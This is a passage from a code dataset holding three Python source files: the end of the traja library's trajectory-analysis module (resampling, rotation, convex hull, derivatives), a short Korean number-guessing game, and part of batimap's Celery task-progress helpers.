linear_errors\n\n # Don't allow negative lengths\n step_lengths[step_lengths < 0] = 0\n steps = polar_to_z(step_lengths, angular_errors)\n\n if random:\n # Accumulate angular errors\n coords = np.zeros(n, dtype=np.complex)\n angle = 0\n for i in range(n - 1):\n angle += angular_errors[i]\n length = step_length + linear_errors[i]\n coords[i + 1] = coords[i] + polar_to_z(r=length, theta=angle)\n else:\n coords = np.append(complex(0), np.cumsum(steps))\n\n x = coords.real\n y = coords.imag\n\n df = traja.TrajaDataFrame(data={\"x\": x, \"y\": y})\n\n if fps in (0, None):\n raise Exception(\"fps must be greater than 0\")\n\n df.fps = fps\n time = df.index / fps\n df[\"time\"] = time\n df.spatial_units = spatial_units\n\n for key, value in kwargs.items():\n df.__dict__[key] = value\n\n # Update metavars\n metavars = dict(angular_error_sd=angular_error_sd, linear_error_sd=linear_error_sd)\n df.__dict__.update(metavars)\n # Attribute convex hull to dataframe\n if convex_hull:\n df.convex_hull = df[[\"x\", \"y\"]].values\n else:\n del df.convex_hull\n return df\n\n\ndef _resample_time(\n trj: TrajaDataFrame, step_time: Union[float, int, str], errors=\"coerce\"\n):\n if not is_datetime_or_timedelta_dtype(trj.index):\n raise Exception(f\"{trj.index.dtype} is not datetime or timedelta.\")\n try:\n df = trj.resample(step_time).interpolate(method=\"spline\", order=2)\n except ValueError as e:\n if len(e.args) > 0 and \"cannot reindex from a duplicate axis\" in e.args[0]:\n if errors == \"coerce\":\n logger.warning(\"Duplicate time indices, keeping first\")\n trj = trj.loc[~trj.index.duplicated(keep=\"first\")]\n df = (\n trj.resample(step_time)\n .bfill(limit=1)\n .interpolate(method=\"spline\", order=2)\n )\n else:\n logger.error(\"Error: duplicate time indices\")\n raise ValueError(\"Duplicate values in indices\")\n return df\n\n\ndef resample_time(trj: TrajaDataFrame, step_time: str, new_fps: Optional[bool] = None):\n \"\"\"Returns a ``TrajaDataFrame`` resampled to consistent `step_time` intervals.\n\n ``step_time`` should be expressed as a number-time unit combination, eg \"2S\" for 2 seconds and “2100L” for 2100 milliseconds.\n\n Args:\n trj (:class:`~traja.frame.TrajaDataFrame`): Trajectory\n step_time (str): step time interval / offset string (eg, '2S' (seconds), '50L' (milliseconds), '50N' (nanoseconds))\n new_fps (bool, optional): new fps\n\n Results:\n trj (:class:`~traja.frame.TrajaDataFrame`): Trajectory\n\n\n .. doctest::\n\n >>> from traja import generate, resample_time\n >>> df = generate()\n >>> resampled = resample_time(df, '50L') # 50 milliseconds\n >>> resampled.head() # doctest: +NORMALIZE_WHITESPACE\n x y\n time\n 1970-01-01 00:00:00.000 0.000000 0.000000\n 1970-01-01 00:00:00.050 0.919113 4.022971\n 1970-01-01 00:00:00.100 -1.298510 5.423373\n 1970-01-01 00:00:00.150 -6.057524 4.708803\n 1970-01-01 00:00:00.200 -10.347759 2.108385\n\n \"\"\"\n time_col = _get_time_col(trj)\n if time_col == \"index\" and is_datetime64_any_dtype(trj.index):\n _trj = _resample_time(trj, step_time)\n elif time_col == \"index\" and is_timedelta64_dtype(trj.index):\n trj.index = pd.to_datetime(trj.index)\n _trj = _resample_time(trj, step_time)\n _trj.index = pd.to_timedelta(_trj.index)\n elif time_col:\n if isinstance(step_time, str):\n try:\n if \".\" in step_time:\n raise NotImplementedError(\n \"\"\"Fractional step time not implemented.\n For milliseconds/microseconds/nanoseconds use:\n L milliseonds\n U microseconds\n N nanoseconds\n eg, step_time='2100L'\"\"\"\n )\n except Exception:\n raise NotImplementedError(\n f\"Inferring from time format {step_time} not yet implemented.\"\n )\n _trj = trj.set_index(time_col)\n time_units = _trj.__dict__.get(\"time_units\", \"s\")\n _trj.index = pd.to_datetime(_trj.index, unit=time_units)\n _trj = _resample_time(_trj, step_time)\n else:\n raise NotImplementedError(\n f\"Time column ({time_col}) not of expected dataset type.\"\n )\n return _trj\n\n\ndef rotate(df, angle: Union[float, int] = 0, origin: tuple = None):\n \"\"\"Returns a ``TrajaDataFrame`` Rotate a trajectory `angle` in radians.\n\n Args:\n trj (:class:`traja.frame.TrajaDataFrame`): Trajectory\n angle (float): angle in radians\n origin (tuple. optional): rotate around point (x,y)\n\n Returns:\n trj (:class:`traja.frame.TrajaDataFrame`): Trajectory\n\n .. note::\n\n Based on Lyle Scott's `implementation `_.\n\n \"\"\"\n trj = df.copy()\n # Calculate current orientation\n if isinstance(trj, traja.TrajaDataFrame):\n xy = df.traja.xy\n elif isinstance(trj, pd.DataFrame):\n trj = df[[\"x\", \"y\"]]\n\n x, y = np.split(xy, [-1], axis=1)\n if origin is None:\n # Assume middle of x and y is origin\n origin = ((x.max() - x.min()) / 2, (y.max() - y.min()) / 2)\n\n offset_x, offset_y = origin\n new_coords = []\n\n for x, y in xy:\n adjusted_x = x - offset_x\n adjusted_y = y - offset_y\n cos_rad = math.cos(angle)\n sin_rad = math.sin(angle)\n qx = offset_x + cos_rad * adjusted_x + sin_rad * adjusted_y\n qy = offset_y + -sin_rad * adjusted_x + cos_rad * adjusted_y\n new_coords.append((qx, qy))\n\n new_xy = np.array(new_coords)\n x, y = np.split(new_xy, [-1], axis=1)\n trj[\"x\"] = x\n trj[\"y\"] = y\n return trj\n\n\ndef rediscretize_points(trj: TrajaDataFrame, R: Union[float, int], time_out=False):\n \"\"\"Returns a ``TrajaDataFrame`` rediscretized to a constant step length `R`.\n\n Args:\n trj (:class:`traja.frame.TrajaDataFrame`): Trajectory\n R (float): Rediscretized step length (eg, 0.02)\n time_out (bool): Include time corresponding to time intervals in output\n\n Returns:\n rt (:class:`numpy.ndarray`): rediscretized trajectory\n\n \"\"\"\n if not isinstance(R, (float, int)):\n raise TypeError(f\"R should be float or int, but is {type(R)}\")\n\n results = _rediscretize_points(trj, R, time_out)\n rt = results[\"rt\"]\n if len(rt) < 2:\n raise RuntimeError(\n f\"Step length {R} is too large for path (path length {len(trj)})\"\n )\n rt = traja.from_xy(rt)\n if time_out:\n rt[\"time\"] = results[\"time\"]\n return rt\n\n\ndef _rediscretize_points(\n trj: TrajaDataFrame, R: Union[float, int], time_out=False\n) -> dict:\n \"\"\"Helper function for :func:`traja.trajectory.rediscretize`.\n\n Args:\n trj (:class:`traja.frame.TrajaDataFrame`): Trajectory\n R (float): Rediscretized step length (eg, 0.02)\n\n Returns:\n output (dict): Containing:\n result (:class:`numpy.ndarray`): Rediscretized coordinates\n time_vals (optional, list of floats or datetimes): Time points corresponding to result\n\n \"\"\"\n # TODO: Implement with complex numbers\n points = trj[[\"x\", \"y\"]].dropna().values.astype(\"float64\")\n n_points = len(points)\n result = np.empty((128, 2))\n p0 = points[0]\n result[0] = p0\n step_nr = 0\n candidate_start = 1 # running index of candidate\n\n time_vals = []\n if time_out:\n time_col = _get_time_col(trj)\n time = trj[time_col][0]\n time_vals.append(time)\n\n while candidate_start <= n_points:\n # Find the first point `curr_ind` for which |points[curr_ind] - p_0| >= R\n curr_ind = np.NaN\n for i in range(\n candidate_start, n_points\n ): # range of search space for next point\n d = np.linalg.norm(points[i] - result[step_nr])\n if d >= R:\n curr_ind = i # curr_ind is in [candidate, n_points)\n if time_out:\n time = trj[time_col][i]\n time_vals.append(time)\n break\n if np.isnan(curr_ind):\n # End of path\n break\n\n # The next point may lie on the same segment\n candidate_start = curr_ind\n\n # The next point lies on the segment p[k-1], p[k]\n curr_result_x = result[step_nr][0]\n prev_x = points[curr_ind - 1, 0]\n curr_result_y = result[step_nr][1]\n prev_y = points[curr_ind - 1, 1]\n\n # a = 1 if points[k, 0] <= xk_1 else 0\n lambda_ = np.arctan2(\n points[curr_ind, 1] - prev_y, points[curr_ind, 0] - prev_x\n ) # angle\n cos_l = np.cos(lambda_)\n sin_l = np.sin(lambda_)\n U = (curr_result_x - prev_x) * cos_l + (curr_result_y - prev_y) * sin_l\n V = (curr_result_y - prev_y) * cos_l - (curr_result_x - prev_x) * sin_l\n\n # Compute distance H between (X_{i+1}, Y_{i+1}) and (x_{k-1}, y_{k-1})\n H = U + np.sqrt(abs(R ** 2 - V ** 2))\n XIp1 = H * cos_l + prev_x\n YIp1 = H * sin_l + prev_y\n\n # Increase array size progressively to make the code run (significantly) faster\n if len(result) <= step_nr + 1:\n result = np.concatenate((result, np.empty_like(result)))\n\n # Save the point\n result[step_nr + 1] = np.array([XIp1, YIp1])\n step_nr += 1\n\n # Truncate result\n result = result[: step_nr + 1]\n output = {\"rt\": result}\n if time_out:\n output[\"time\"] = time_vals\n return output\n\n\ndef _has_cols(trj: TrajaDataFrame, cols: list):\n \"\"\"Check if `trj` has `cols`.\"\"\"\n return set(cols).issubset(trj.columns)\n\n\ndef calc_turn_angle(trj: TrajaDataFrame):\n \"\"\"Return a ``Series`` of floats with turn angles.\n\n Args:\n trj (:class:`traja.frame.TrajaDataFrame`): Trajectory\n\n Returns:\n turn_angle (:class:`~pandas.Series`): Turn angle\n\n .. doctest::\n\n >>> df = traja.TrajaDataFrame({'x':[0,1,2],'y':[1,2,3]})\n >>> traja.calc_turn_angle(df)\n 0 NaN\n 1 NaN\n 2 0.0\n Name: turn_angle, dtype: float64\n\n \"\"\"\n if \"heading\" not in trj:\n heading = calc_heading(trj)\n else:\n heading = trj.heading\n turn_angle = heading.diff().rename(\"turn_angle\")\n # Correction for 360-degree angle range\n turn_angle.loc[turn_angle >= 180] -= 360\n turn_angle.loc[turn_angle < -180] += 360\n return turn_angle\n\n\ndef calc_angle(trj: TrajaDataFrame, unit: str = \"degrees\", lag: int = 1):\n \"\"\"Returns a ``Series`` with angle between steps as a function of displacement with regard to x axis.\n\n Args:\n trj (:class:`~traja.frame.TrajaDataFrame`): Trajectory\n unit (str): return angle in radians or degrees (Default value: 'degrees')\n lag (int) : time steps between angle calculation (Default value: 1)\n\n Returns:\n angle (:class:`pandas.Series`): Angle series.\n\n \"\"\"\n if not _has_cols(trj, [\"displacement\"]) or (lag != 1):\n displacement = calc_displacement(trj, lag)\n else:\n displacement = trj.displacement\n\n if unit == \"degrees\":\n angle = np.rad2deg(np.arccos(np.abs(trj.x.diff(lag)) / displacement))\n elif unit == \"radians\":\n angle = np.arccos(np.abs(trj.x.diff()) / displacement)\n else:\n raise ValueError(f\"The unit {unit} is not valid.\")\n\n angle.unit = unit\n angle.name = \"angle\"\n return angle\n\n\ndef calc_displacement(trj: TrajaDataFrame, lag=1):\n \"\"\"Returns a ``Series`` of ``float`` displacement between consecutive indices.\n\n Args:\n trj (:class:`~traja.frame.TrajaDataFrame`): Trajectory\n lag (int) : time steps between displacement calculation\n\n Returns:\n displacement (:class:`pandas.Series`): Displacement series.\n\n .. doctest::\n\n >>> df = traja.TrajaDataFrame({'x':[0,1,2],'y':[1,2,3]})\n >>> traja.calc_displacement(df)\n 0 NaN\n 1 1.414214\n 2 1.414214\n Name: displacement, dtype: float64\n\n \"\"\"\n displacement = np.sqrt(\n np.power(trj.x.shift(lag) - trj.x, 2) + np.power(trj.y.shift(lag) - trj.y, 2)\n )\n displacement.name = \"displacement\"\n return displacement\n\n\ndef calc_derivatives(trj: TrajaDataFrame):\n \"\"\"Returns derivatives ``displacement`` and ``displacement_time`` as DataFrame.\n\n Args:\n trj (:class:`~traja.frame.TrajaDataFrame`): Trajectory\n\n Returns:\n derivs (:class:`~pandas.DataFrame`): Derivatives.\n\n .. doctest::\n\n >>> df = traja.TrajaDataFrame({'x':[0,1,2],'y':[1,2,3],'time':[0., 0.2, 0.4]})\n >>> traja.calc_derivatives(df)\n displacement displacement_time\n 0 NaN 0.0\n 1 1.414214 0.2\n 2 1.414214 0.4\n\n \"\"\"\n\n time_col = _get_time_col(trj)\n if time_col is None:\n raise Exception(\"Missing time information in trajectory.\")\n\n if \"displacement\" not in trj:\n displacement = calc_displacement(trj)\n else:\n displacement = trj.displacement\n\n # get cumulative seconds\n if is_datetime64_any_dtype(trj[time_col]):\n displacement_time = (\n trj[time_col].astype(int).div(10 ** 9).diff().fillna(0).cumsum()\n )\n else:\n try:\n displacement_time = trj[time_col].diff().fillna(0).cumsum()\n except TypeError:\n raise Exception(\n f\"Format (example {trj[time_col][0]}) not recognized as datetime\"\n )\n\n # TODO: Create DataFrame directly\n derivs = pd.DataFrame(\n OrderedDict(displacement=displacement, displacement_time=displacement_time)\n )\n\n return derivs\n\n\ndef calc_heading(trj: TrajaDataFrame):\n \"\"\"Calculate trajectory heading.\n\n Args:\n trj (:class:`~traja.frame.TrajaDataFrame`): Trajectory\n\n Returns:\n heading (:class:`pandas.Series`): heading as a ``Series``\n\n ..doctest::\n\n >>> df = traja.TrajaDataFrame({'x':[0,1,2],'y':[1,2,3]})\n >>> traja.calc_heading(df)\n 0 NaN\n 1 45.0\n 2 45.0\n Name: heading, dtype: float64\n\n \"\"\"\n if not _has_cols(trj, [\"angle\"]):\n angle = calc_angle(trj)\n else:\n angle = trj.angle\n if hasattr(angle, \"unit\"):\n if angle.unit == \"radians\":\n angle = np.rad2deg(angle)\n\n dx = trj.x.diff()\n dy = trj.y.diff()\n # Get heading from angle\n mask = (dx > 0) & (dy >= 0)\n trj.loc[mask, \"heading\"] = angle[mask]\n mask = (dx >= 0) & (dy < 0)\n trj.loc[mask, \"heading\"] = -angle[mask]\n mask = (dx < 0) & (dy <= 0)\n trj.loc[mask, \"heading\"] = -(180 - angle[mask])\n mask = (dx <= 0) & (dy > 0)\n trj.loc[mask, \"heading\"] = 180 - angle[mask]\n return trj.heading\n\n\ndef speed_intervals(\n trj: TrajaDataFrame, faster_than: float = None, slower_than: float = None\n) -> pd.DataFrame:\n \"\"\"Calculate speed time intervals.\n\n Returns a dictionary of time intervals where speed is slower and/or faster than specified values.\n\n Args:\n faster_than (float, optional): Minimum speed threshold. (Default value = None)\n slower_than (float or int, optional): Maximum speed threshold. (Default value = None)\n\n Returns:\n result (:class:`~pd.DataFrame`) -- time intervals as dataframe\n\n .. note::\n\n Implementation ported to Python, heavily inspired by Jim McLean's trajr package.\n\n .. doctest::\n\n >> df = traja.generate()\n >> intervals = traja.speed_intervals(df, faster_than=100)\n >> intervals.head()\n start_frame start_time stop_frame stop_time duration\n 0 1 0.02 3 0.06 0.04\n 1 4 0.08 8 0.16 0.08\n 2 10 0.20 11 0.22 0.02\n 3 12 0.24 15 0.30 0.06\n 4 17 0.34 18 0.36 0.02\n\n \"\"\"\n derivs = get_derivatives(trj)\n\n if faster_than is None and slower_than is None:\n raise Exception(\n \"Parameters faster_than and slower_than are both None, at least one must be provided.\"\n )\n\n # Calculate trajectory speeds\n speed = derivs[\"speed\"].values\n times = derivs[\"speed_times\"].values\n times[0] = 0.0\n flags = np.full(len(speed), 1)\n\n if faster_than is not None:\n flags = flags & (speed > faster_than)\n if slower_than is not None:\n flags = flags & (speed < slower_than)\n\n changes = np.diff(flags)\n stop_frames = np.where(changes == -1)[0]\n start_frames = np.where(changes == 1)[0]\n\n # Handle situation where interval begins or ends outside of trajectory\n if len(start_frames) > 0 or len(stop_frames) > 0:\n # Assume interval started at beginning of trajectory, since we don't know what happened before that\n if len(stop_frames) > 0 and (\n len(start_frames) == 0 or stop_frames[0] < start_frames[0]\n ):\n start_frames = np.append(1, start_frames)\n # Similarly, assume that interval can't extend past end of trajectory\n if (\n len(stop_frames) == 0\n or start_frames[len(start_frames) - 1] > stop_frames[len(stop_frames) - 1]\n ):\n stop_frames = np.append(stop_frames, len(speed) - 1)\n\n stop_times = times[stop_frames]\n start_times = times[start_frames]\n\n durations = stop_times - start_times\n result = traja.TrajaDataFrame(\n OrderedDict(\n start_frame=start_frames,\n start_time=start_times,\n stop_frame=stop_frames,\n stop_time=stop_times,\n duration=durations,\n )\n )\n return result\n\n\ndef get_derivatives(trj: TrajaDataFrame):\n \"\"\"Returns derivatives ``displacement``, ``displacement_time``, ``speed``, ``speed_times``, ``acceleration``,\n ``acceleration_times`` as dictionary.\n\n Args:\n trj (:class:`~traja.frame.TrajaDataFrame`): Trajectory\n\n Returns:\n derivs (:class:`~pd.DataFrame`) : Derivatives\n\n .. doctest::\n\n >> df = traja.TrajaDataFrame({'x':[0,1,2],'y':[1,2,3],'time':[0.,0.2,0.4]})\n >> df.traja.get_derivatives() #doctest: +SKIP\n displacement displacement_time speed speed_times acceleration acceleration_times\n 0 NaN 0.0 NaN NaN NaN NaN\n 1 1.414214 0.2 7.071068 0.2 NaN NaN\n 2 1.414214 0.4 7.071068 0.4 0.0 0.4\n\n \"\"\"\n if not _has_cols(trj, [\"displacement\", \"displacement_time\"]):\n derivs = calc_derivatives(trj)\n d = derivs[\"displacement\"]\n t = derivs[\"displacement_time\"]\n else:\n d = trj.displacement\n t = trj.displacement_time\n derivs = OrderedDict(displacement=d, displacement_time=t)\n if is_datetime_or_timedelta_dtype(t):\n # Convert to float divisible series\n # TODO: Add support for other time units\n t = t.dt.total_seconds()\n v = d[1 : len(d)] / t.diff()\n v.rename(\"speed\")\n vt = t[1 : len(t)].rename(\"speed_times\")\n # Calculate linear acceleration\n a = v.diff() / vt.diff().rename(\"acceleration\")\n at = vt[1 : len(vt)].rename(\"accleration_times\")\n\n data = dict(speed=v, speed_times=vt, acceleration=a, acceleration_times=at)\n derivs = derivs.merge(pd.DataFrame(data), left_index=True, right_index=True)\n\n # Replace infinite values\n derivs.replace([np.inf, -np.inf], np.nan)\n return derivs\n\n\ndef _get_xylim(trj: TrajaDataFrame) -> Tuple[Tuple, Tuple]:\n if (\n \"xlim\" in trj.__dict__\n and \"ylim\" in trj.__dict__\n and isinstance(trj.xlim, (list, tuple))\n ):\n return trj.xlim, trj.ylim\n else:\n xlim = trj.x.min(), trj.x.max()\n ylim = trj.y.min(), trj.y.max()\n return xlim, ylim\n\n\ndef coords_to_flow(trj: TrajaDataFrame, bins: Union[int, tuple] = None):\n \"\"\"Calculate grid cell flow from trajectory.\n\n Args:\n trj (trajectory)\n bins (int or tuple)\n\n Returns:\n X (:class:`~numpy.ndarray`): X coordinates of arrow locations\n Y (:class:`~numpy.ndarray`): Y coordinates of arrow locations\n U (:class:`~numpy.ndarray`): X component of vector dataset\n V (:class:`~numpy.ndarray`): Y component of vector dataset\n\n \"\"\"\n xlim, ylim = _get_xylim(trj)\n bins = _bins_to_tuple(trj, bins)\n\n X, Y = np.meshgrid(\n np.linspace(trj.x.min(), trj.x.max(), bins[0]),\n np.linspace(trj.y.min(), trj.y.max(), bins[1]),\n )\n\n if \"xbin\" not in trj.columns or \"ybin\" not in trj.columns:\n grid_indices = traja.grid_coordinates(trj, bins=bins, xlim=xlim, ylim=ylim)\n else:\n grid_indices = trj[[\"xbin\", \"ybin\"]]\n\n U, V = traja.calc_flow_angles(grid_indices.values)\n\n return X, Y, U, V\n\n\ndef return_angle_to_point(p1: np.ndarray, p0: np.ndarray):\n \"\"\"Calculate angle of points as coordinates in relation to each other.\n Designed to be broadcast across all trajectory points for a single\n origin point p0.\n\n Args:\n p1 (np.ndarray): Test point [x,y]\n p0 (np.ndarray): Origin/source point [x,y]\n\n Returns:\n r (float)\n\n \"\"\"\n\n r = math.degrees(math.atan2((p0[1] - p1[1]), (p0[0] - p1[0])))\n return r\n\n\ndef determine_colinearity(p0: np.ndarray, p1: np.ndarray, p2: np.ndarray):\n \"\"\"Determine whether trio of points constitute a right turn, or\n whether they are left turns (or colinear/straight line).\n\n Args:\n p0 (:class:`~numpy.ndarray`): First point [x,y] in line\n p1 (:class:`~numpy.ndarray`): Second point [x,y] in line\n p2 (:class:`~numpy.ndarray`): Third point [x,y] in line\n\n Returns:\n (bool)\n\n \"\"\"\n\n cross_product = (p1[0] - p0[0]) * (p2[1] - p0[1]) - (p1[1] - p0[1]) * (\n p2[0] - p0[0]\n )\n\n if cross_product < 0: # Right turn\n return False\n else: # Points are colinear (if == 0) or left turn (if < 0)\n return True\n\n\ndef inside(\n pt: np.ndarray,\n bounds_xs: list,\n bounds_ys: list,\n minx: float,\n maxx: float,\n miny: float,\n maxy: float,\n):\n \"\"\"Determine whether point lies inside or outside of polygon formed\n by \"extrema\" points - minx, maxx, miny, maxy. Optimized to be run\n as broadcast function in numpy along axis.\n\n Args:\n pt (:class:`~numpy.ndarray`): Point to test whether inside or outside polygon\n bounds_xs (list or tuple): x-coordinates of polygon vertices, in sequence\n bounds_ys (list or tuple): y-coordinates of polygon vertices, same sequence\n minx (float): minimum x coordinate value\n maxx (float): maximum x coordinate value\n miny (float): minimum y coordinate value\n maxy (float): maximum y coordinate value\n\n Returns:\n (bool)\n\n .. note::\n Ported to Python from C implementation by W. Randolph Franklin (WRF):\n \n\n\n Boolean return \"True\" for OUTSIDE polygon, meaning it is within\n subset of possible convex hull coordinates.\n \"\"\"\n # Only theoretically possible, extrema polygon is actually a straight line\n if maxx == maxy and minx == miny:\n return True # No polygon to be within (considered outside)\n if pt[0] in [minx, maxx] or pt[1] in [miny, maxy]:\n return True # Extrema points are by definition part of convex hull\n poly_pts = len(bounds_xs)\n ct = 0\n for i in range(poly_pts):\n if i == 0:\n j = poly_pts - 1\n else:\n j = i - 1\n # Test if horizontal trace from the point to infinity intersects the given polygon line segment\n if ((bounds_ys[i] > pt[1]) != (bounds_ys[j] > pt[1])) & (\n pt[0]\n < (\n (bounds_xs[j] - bounds_xs[i])\n * (pt[1] - bounds_ys[i])\n / (bounds_ys[j] - bounds_ys[i])\n + bounds_xs[i]\n )\n ):\n ct += 1\n if (\n ct % 2 == 0\n ): # Number of intersections between point, polygon edge(s) and infinity point are odd:\n return True # Outside polygon\n else:\n return False # Inside polygon\n\n\ndef calc_convex_hull(point_arr: np.array) -> np.array:\n \"\"\"Identify containing polygonal convex hull for full Trajectory\n Interior points filtered with :meth:`traja.trajectory.inside` method, takes quadrilateral using extrema points\n `(minx, maxx, miny, maxy)` - convex hull points MUST all be outside such a polygon.\n Returns an array with all points in the convex hull.\n\n Implementation of Graham Scan `technique _`.\n\n Returns:\n point_arr (:class:`~numpy.ndarray`): n x 2 (x,y) array\n\n .. doctest::\n\n >> #Quick visualizaation\n >> import matplotlib.pyplot as plt\n >> df = traja.generate(n=10000, convex_hull=True)\n >> xs, ys = [*zip(*df.convex_hull)]\n >> _ = plt.plot(df.x.values, df.y.values, 'o', 'blue')\n >> _ = plt.plot(xs, ys, '-o', color='red')\n >> _ = plt.show()\n\n\n .. note::\n Incorporates Akl-Toussaint `method `_ for filtering interior points.\n\n .. note::\n Performative loss beyond ~100,000-200,000 points, algorithm has O(nlogn) complexity.\n\n \"\"\"\n assert point_arr.shape[1] == 2, f\"expected (n, 2) shape only, got {point_arr.shape}\"\n # Find \"extrema\" points to form polygon (convex hull must be outside this polygon)\n minx = point_arr[:, 0].min()\n maxx = point_arr[:, 0].max()\n miny = point_arr[:, 1].min()\n maxy = point_arr[:, 1].max()\n min_x_pt = point_arr[np.where(point_arr[:, 0] == point_arr[:, 0].min())].tolist()[0]\n min_y_pt = point_arr[np.where(point_arr[:, 1] == point_arr[:, 1].min())].tolist()[0]\n max_x_pt = point_arr[np.where(point_arr[:, 0] == point_arr[:, 0].max())].tolist()[0]\n max_y_pt = point_arr[np.where(point_arr[:, 1] == point_arr[:, 1].max())].tolist()[0]\n extrema_pts = [min_x_pt, min_y_pt, max_x_pt, max_y_pt]\n extrema_xys = [*zip(*extrema_pts)]\n bounds_x, bounds_y = extrema_xys[0], extrema_xys[1]\n\n # Filter trajectory points to only include points \"outside\" of this extrema polygon\n convex_mask = np.apply_along_axis(\n inside, 1, point_arr, bounds_x, bounds_y, minx, maxx, miny, maxy\n )\n point_arr = point_arr[convex_mask]\n\n # Find principal point (lowest y, lower x) from which to start\n p0 = point_arr[point_arr[:, 1] == point_arr[:, 1].min()].min(axis=0)\n point_arr = np.delete(\n point_arr, np.where((point_arr[:, 0] == p0[0]) & (point_arr[:, 1] == p0[1])), 0\n )\n # Sort remaining points\n point_arr = point_arr[np.lexsort((point_arr[:, 0], point_arr[:, 1]))]\n # Populate array with direction of each point in the trajectory to the principal (lowest, then leftmost) point\n point_arr_r_p0 = np.apply_along_axis(return_angle_to_point, 1, point_arr, p0)\n # Sort point array by radius\n sorted_ind = point_arr_r_p0.argsort()\n point_arr_r_p0 = point_arr_r_p0[sorted_ind]\n point_arr = point_arr[sorted_ind]\n\n # Check for points with duplicate angles from principal point, only keep furthest point\n unique_r = np.unique(point_arr_r_p0, return_index=True)[1]\n if (\n unique_r.shape == point_arr_r_p0.shape\n ): # There are no two points at same angle from x axis\n pass\n else:\n point_arr_d_p0 = np.apply_along_axis(\n lambda x, p0=p0: np.linalg.norm(p0 - x), 1, point_arr\n )\n # Identify duplicate angles\n unique, counts = np.unique(point_arr_r_p0, axis=0, return_counts=True)\n rep_angles = unique[counts > 1]\n duplicates = point_arr_r_p0[np.where(np.in1d(point_arr_r_p0, rep_angles))]\n duplicates = point_arr[np.where(np.in1d(point_arr_r_p0, rep_angles))]\n # Get indices of only the furthest point from origin at each unique angle\n dropped_pts = []\n for dup_pt in duplicates:\n pt_idx = np.where(\n (point_arr[:, 0] == dup_pt[0]) & (point_arr[:, 1] == dup_pt[1])\n )[0][0]\n r_val = point_arr_r_p0[pt_idx]\n ind_furthest = np.where(\n point_arr_d_p0\n == point_arr_d_p0[np.where(point_arr_r_p0 == r_val)].max()\n )[0][0]\n if (\n not pt_idx == ind_furthest\n ): # This is a \"closer\" point to origin, not in convex hull\n dropped_pts.append(pt_idx)\n point_arr = np.delete(point_arr, dropped_pts, axis=0)\n\n # Iterate through points. If a \"right turn\" is made, remove preceding point.\n point_arr = np.insert(point_arr, 0, p0, axis=0)\n for pt in point_arr:\n idx = np.where((point_arr[:, 0] == pt[0]) & (point_arr[:, 1] == pt[1]))[0][0]\n while True:\n # Skip/stop at first two points (3 points form line), after working backwards\n if idx <= 1:\n break\n # Continue working backwards until a left turn is made, or we reach the origin\n elif determine_colinearity(\n point_arr[idx - 2], point_arr[idx - 1], point_arr[idx]\n ):\n break\n else: # This is a right turn\n point_arr = np.delete(point_arr, idx - 1, 0)\n idx -= 1\n point_arr = np.insert(point_arr, point_arr.shape[0], p0, axis=0)\n return point_arr\n\n\ndef from_xy(xy: np.ndarray):\n \"\"\"Convenience function for initializing :class:`~traja.frame.TrajaDataFrame` with x,y coordinates.\n\n Args:\n xy (:class:`numpy.ndarray`): x,y coordinates\n\n Returns:\n traj_df (:class:`~traja.frame.TrajaDataFrame`): Trajectory as dataframe\n\n .. doctest::\n\n >>> import numpy as np\n >>> xy = np.array([[0,1],[1,2],[2,3]])\n >>> traja.from_xy(xy)\n x y\n 0 0 1\n 1 1 2\n 2 2 3\n\n \"\"\"\n df = traja.TrajaDataFrame.from_records(xy, columns=[\"x\", \"y\"])\n return df\n\n\ndef fill_in_traj(trj: TrajaDataFrame):\n # FIXME: Implement\n return trj\n\n\ndef _get_time_col(trj: TrajaDataFrame):\n # Check if saved in metadata\n time_col = trj.__dict__.get(\"time_col\", None)\n if time_col:\n return time_col\n # Check if index is datetime\n if is_datetime64_any_dtype(trj.index) or is_datetime_or_timedelta_dtype(trj.index):\n return \"index\"\n # Check if any column contains 'time'\n time_cols = [col for col in trj if \"time\" in col.lower()]\n if time_cols:\n # Try first column\n time_col = time_cols[0]\n if is_datetime_or_timedelta_dtype(trj[time_col]):\n return time_col\n else:\n # Time column is float, etc. but not datetime64.\n # FIXME: Add conditional return, etc.\n return time_col\n else:\n # No time column found\n return None\n\n\nif __name__ == \"__main__\":\n import doctest\n\n doctest.testmod()\n","repo_name":"traja-team/traja","sub_path":"traja/trajectory.py","file_name":"trajectory.py","file_ext":"py","file_size_in_byte":51013,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"2"} +{"seq_id":"73395084845","text":"import random\r\n\r\n# 점수를 계산하기 위한 변수를 설정하고 초기값으로 0을 지정한다.\r\nscore = 0\r\n# 게임 반복\r\nwhile True:\r\n # 난수로 0혹은 1을 발생시킨다.\r\n 난수 = random.randrange(0,2)\r\n 컴퓨터입력 = str(난수)\r\n # 사용자에게 입력받는다.\r\n 사용자입력 = input('입력하세���:')\r\n # 사용자의 입력과 난수를 비교한다.\r\n # 만일 사용자의 입력이 ‘q’이면\r\n if 사용자입력 == 'q':\r\n # 프로그램을 종료한다.\r\n break\r\n # 만일 사용자의 입력과 난수가 같다면\r\n if 사용자입력 == 컴퓨터입력:\r\n # 점수를 1점 가산한다.\r\n score = score+1\r\n # 맞았다고 출력한다.\r\n print('맞음')\r\n # 만일 사용자의 입력과 난수가 다르다면\r\n else:\r\n #점수를 1점 감산한다.\r\n score = score-1\r\n # 틀렸다고 출력한다.\r\n print('틀림')\r\n #다음 반복 이전에 점수를 출력한다.\r\n print('점수:',score)","repo_name":"Dplo1514/ploaistudy","sub_path":"1-2주차/210719/210719sudo코드 및 난수게임.py","file_name":"210719sudo코드 및 난수게임.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"72481476845","text":"import json\n\nfrom batimap.extensions import celery\nfrom flask import current_app\n\n\ndef task_progress(task, current):\n current = int(min(current, 100) * 100) / 100 # round to 2 digits\n\n if task.request.id:\n task.update_state(\n state=\"PROGRESS\", meta=json.dumps({\"current\": current, \"total\": 100})\n )\n else:\n current_app.logger.warning(\n f\"Task id not set, cannot update its progress to {current}%\"\n )\n\n\ndef list_tasks():\n \"\"\"\n Returns list of all active and pending tasks\n \"\"\"\n inspect = celery.control.inspect()\n active = inspect.active()\n reserved = inspect.reserved()\n active_tasks = (\n [task for worker_tasks in active.values() for task in worker_tasks]\n if active\n else []\n )\n waiting_tasks = (\n [task for worker_tasks in reserved.values() for task in worker_tasks]\n if reserved\n else []\n )\n return active_tasks + waiting_tasks\n\n\ndef find_task_id(task_name, args):\n \"\"\"\n Returns a task id based on a task name and associated args\n \"\"\"\n for task in list_tasks():\n if task[\"name\"] == task_name and task[\"args\"] 